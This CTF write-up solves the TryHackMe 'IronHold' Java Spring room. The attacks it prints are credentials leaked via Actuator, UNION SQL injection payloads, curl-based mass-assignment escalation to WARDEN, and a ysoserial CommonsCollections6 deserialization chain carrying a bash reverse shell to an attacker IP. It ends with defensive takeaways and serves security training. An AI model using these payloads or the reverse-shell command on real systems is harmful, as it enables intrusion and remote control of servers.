TryHackMe: IronHold
White-box Java Spring app: hardcoded/actuator-leaked credentials, a UNION-based SQL injection, mass-assignment privilege escalation to WARDEN, and a commons-collections gadget chain for RCE.

Room: IronHold
Room Description
We’re given the full source code of a Java Spring web application, along with a target running it, and asked to review the code and exploit the live instance to capture four flags.
Flag 1 — Hardcoded Credentials & Actuator Leak
I pulled down the source and ran it through Snyk to surface anything obvious, which flagged hardcoded credentials in DataSeeder.java right away:

Two separate paths turn into the same officer account:
1. The Actuator endpoint leaks an environment variable. application.properties exposes all Actuator endpoints (management.endpoints.web.exposure.include=*), and the kiosk account’s password is loaded straight from one:
@Value("${app.kiosk.pw}")
private String kioskPassword;
2. Several officer accounts share a hardcoded password, visible in the same seeding code — see the Snyk screenshot above.
Either the kiosk credential (readable via the Actuator env endpoint) or one of the hardcoded officer passwords gets us in. I logged in and grabbed the first flag from the dashboard:

Flag 2 — SQL Injection in Inmate Search
Snyk also flagged the /inmates/search endpoint:

Checking the source confirms it builds the query by string concatenation, with no parameterization:
} else {
String sql = "SELECT id, name, block FROM inmates WHERE name = '" + q + "'";
results = jdbcTemplate.queryForList(sql);
}

Since the query has exactly 3 columns, a UNION SELECT with 3 values lines up cleanly. First, enumerate the available tables:
' UNION SELECT null, table_name, null FROM information_schema.tables --

CASE_FILES stands out. Checking DataSeeder.java confirms it — seedCaseFile() inserts flag2 directly into the summary column:
private void seedCaseFile() {
jdbcTemplate.update(
"INSERT INTO case_files (case_number, title, summary, status, opened_at) VALUES (?, ?, ?, ?, ?)",
"IA-2024-007", "Internal Affairs Review", flag2, "OPEN",
LocalDateTime.now().minusMonths(3));
}

Pulling it out is the same UNION shape, pointed at the right table and column:
' UNION SELECT 1, summary, NULL FROM case_files --

Flag 3 — Privilege Escalation via Mass Assignment
The third flag lives in the admin notices, per DataSeeder.java:
private void seedAdminNotices() {
AdminNotice notice = new AdminNotice();
notice.setTitle("Facility Master Override Code");
notice.setBody(flag3);
notice.setPostedBy("warden");
notice.setPostedAt(LocalDateTime.now().minusDays(2));
adminNoticeRepository.save(notice);
}
But the endpoint that displays them, /admin/control, sits behind WardenInterceptor, which is a straight role check:
public boolean isWarden() { return "WARDEN".equalsIgnoreCase(role); }
The SQL injection above runs under a database account without read access to admin_notices, so it can’t reach this flag directly — a legitimate WARDEN session is required.
Root cause: ProfileController.update() binds the entire Staff object straight from request parameters, with no allowlist of which fields a user is allowed to touch:
@PostMapping("/profile/update")
public String update(@ModelAttribute Staff staff, HttpSession session) {
Staff current = staffRepository.findByUsername(SessionUtil.currentUsername(session));
current.setFullName(staff.getFullName());
current.setEmail(staff.getEmail());
if (staff.getBadgeNumber() != null && !staff.getBadgeNumber().isBlank()) {
current.setBadgeNumber(staff.getBadgeNumber());
}
if (staff.getRole() != null && !staff.getRole().isBlank()) {
current.setRole(staff.getRole()); // attacker-controlled
}
staffRepository.save(current); // persisted to DB
return "redirect:/profile";
}
@ModelAttribute maps any submitted form field onto the entity, role included. Since the forged role gets persisted, WardenInterceptor reads it back as genuine on the very next request. Promoting our own officer account to WARDEN is just one extra parameter on a request we’re already allowed to make:
BASE=http://10.128.180.147:8080
# 1. Authenticate as a standard staff account (flag 1's credentials)
curl -s -c cookies.txt \
-d "username=j.reyes&password=IronholdStaff2026!" \
"$BASE/login" -o /dev/null -w "login:%{http_code}\n"
# 2. Mass-assignment: promote our own account to WARDEN
curl -s -b cookies.txt -c cookies.txt \
-d "role=WARDEN" \
"$BASE/profile/update" -o /dev/null -w "update:%{http_code}\n"
# 3. Access the now-authorized admin panel
curl -s -b cookies.txt "$BASE/admin/control" | grep -i -A1 flag
login:302
update:302
Both 302s are redirects on success (bad credentials would instead re-render /login with a 200). Before step 2, that same /admin/control request returned 403 Warden clearance required — afterward, it returns the panel with the flag:

Flag 4 — Insecure Deserialization to RCE
WARDEN access unlocks the admin bulk-import endpoint, which turns out to deserialize whatever it’s handed with no filtering at all:
byte[] decoded = Base64.getDecoder().decode(body.trim());
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decoded))) {
Object restored = ois.readObject(); // no allowlist, no ObjectInputFilter
return ResponseEntity.ok("Batch accepted: " + restored.getClass().getSimpleName());
}
No ObjectInputFilter (JEP 290) means any object graph reachable from the classpath gets instantiated — including gadget chains that end in Runtime.exec(). And the classpath cooperates: pom.xml pins commons-collections to [3.2, 3.2.2), which resolves to 3.2.1 — the last version before 3.2.2 disabled the dangerous InvokerTransformer functor deserialization that ysoserial’s CommonsCollections6 chain depends on. The app runs Spring Boot 2.7.18 on Java 11, a combination CC6 targets reliably.
1. Start a listener:
nc -lvnp 4444
2. Build the gadget chain. ysoserial tokenizes the command on spaces, and the reverse-shell one-liner has plenty, so it gets base64-wrapped first:
RS=$(echo -n 'bash -i >& /dev/tcp/YOUR-IP-HERE/4444 0>&1' | base64 -w0)
java --add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.base/java.lang=ALL-UNNAMED \
--add-opens=java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
-jar ysoserial.jar CommonsCollections6 "bash -c {echo,$RS}|{base64,-d}|bash" \
| base64 -w0 > payload.b64
The --add-opens flags are needed because ysoserial itself runs on a modern JVM with module access restrictions; make sure the payload targets the same Java version as IronHold (11) regardless.
3. Deliver it with the warden-authorized session:
┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $BASE=http://10.128.180.147:8080
┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -c cookies.txt -d "username=j.reyes&password=IronholdStaff2026!" "$BASE/login" -o /dev/null
┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -b cookies.txt -c cookies.txt -d "role=WARDEN" "$BASE/profile/update" -o /dev/null
┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -b cookies.txt -H "Content-Type: text/plain" --data-binary @payload.b64 "$BASE/admin/import"
Batch accepted: HashSet
The listener catches a shell as appuser inside the container, and the final flag is sitting in /opt/ironhold/flag.txt:

Takeaways
- Two separate flags (1 and 3) came from trusting attacker-supplied data the framework didn’t actually protect: an Actuator endpoint left wide open, and a model-binding call that accepted a field (
role) it should never have exposed to the client. - The SQL injection was a textbook case of string-concatenated queries — parameterized queries would have closed it outright, no allowlisting or WAF required.
- The deserialization bug needed two things to line up: no
ObjectInputFilter, and a vulnerablecommons-collectionsversion still on the classpath. Either one alone would have blocked the chain. - Source-code access turned every stage into a lookup rather than a guess — worth remembering how much faster white-box testing is when it’s available, and how much blind spots cost in a black-box engagement by comparison.